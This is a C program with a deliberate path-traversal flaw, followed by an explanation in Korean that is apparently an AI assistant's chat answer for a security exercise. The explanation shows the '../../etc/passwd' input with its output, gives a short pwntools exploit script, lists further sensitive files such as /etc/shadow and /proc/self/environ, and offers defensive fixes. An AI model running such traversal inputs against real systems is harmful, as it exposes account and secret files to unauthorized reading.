// Name: path_traversal.c
// Compile: gcc -o path_traversal path_traversal.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
const int kMaxNameLen = 0x100;
const int kMaxPathLen = 0x200;
const int kMaxDataLen = 0x1000;
const char *kBasepath = "/tmp";
int main() {
char file_name[kMaxNameLen];
char file_path[kMaxPathLen];
char data[kMaxDataLen];
FILE *fp = NULL;
// Initialize local variables
memset(file_name, '\0', kMaxNameLen);
memset(file_path, '\0', kMaxPathLen);
memset(data, '\0', kMaxDataLen);
// Receive input from user
printf("File name: ");
fgets(file_name, kMaxNameLen, stdin);
// Trim trailing new line
file_name[strcspn(file_name, "\n")] = '\0';
// Construct the `file_path`
snprintf(file_path, kMaxPathLen, "%s/%s", kBasepath, file_name);
// Read the file and print its content
if ((fp = fopen(file_path, "r")) == NULL) {
fprintf(stderr, "No file named %s", file_name);
return -1;
}
fgets(data, kMaxDataLen, fp);
printf("%s", data);
fclose(fp);
return 0;
}
"/tmp/" + 사용자 입력 으로 파일을 열기 때문에, 사용자가 디렉토리 탈출 시도를 할 수 있음.
이 코드는 완전한 Path Traversal 취약점 문제야.
한 줄 요약하면:
"/tmp/" + 사용자 입력 으로 파일을 열기 때문에, 사용자가 디렉토리 탈출 시도를 할 수 있음.
🔥 공격 포인트
snprintf(file_path, kMaxPathLen, "%s/%s", kBasepath, file_name);
→ 예를 들어 사용자 입력이 "../../etc/passwd"이면?
file_path = "/tmp/../../etc/passwd"
→ 실제 경로는 "/etc/passwd"
즉, /tmp/ 밖의 임의 파일 접근 가능해짐.
✅ 취약점 요약
항목 내용
취약점 | Path Traversal |
발생 원인 | 사용자 입력값을 경로에 그대로 삽입 |
공격 방식 | ../../etc/passwd 와 같은 입력으로 디렉토리 탈출 |
방어 방법 | 입력 필터링 (예: .. 포함 여부 확인), realpath() 사용 등 |
📌 공격 예시
$ ./path_traversal
File name: ../../etc/passwd
root:x:0:0:root:/root:/bin/bash
...
→ 공격 성공: 루트 시스템의 계정 정보 파일 열람됨
🛠️ Exploit with pwntools (if needed)
from pwn import *
p = process('./path_traversal')
p.sendlineafter("File name: ", "../../etc/passwd")
print(p.recvall().decode())
🛡️ 방어 방법 (개선 코드)
// 방어: ".." 포함 여부 검사
if (strstr(file_name, "..") != NULL) {
fprintf(stderr, "Invalid path!\n");
return -1;
}
또는, 아예 안전하게:
// realpath()로 정규화 → basepath 밖으로 나가면 차단
realpath(file_path, resolved_path);
if (strncmp(resolved_path, kBasepath, strlen(kBasepath)) != 0) {
fprintf(stderr, "Access Denied\n");
return -1;
}
🎯 결론
이 문제는 디렉토리 경로 조작을 통한 우회(Traversal) 방식이고,
보안 실습에서 가장 기초적이면서도 실제로 자주 나오는 취약점 유형이야.
필요하면 /proc/self/environ, /etc/shadow, /flag, /proc/self/maps 같은 파일로 실습도 가능해.
궁금한 파일 더 있거나, 실전 CTF 스타일 풀이 원해? 😎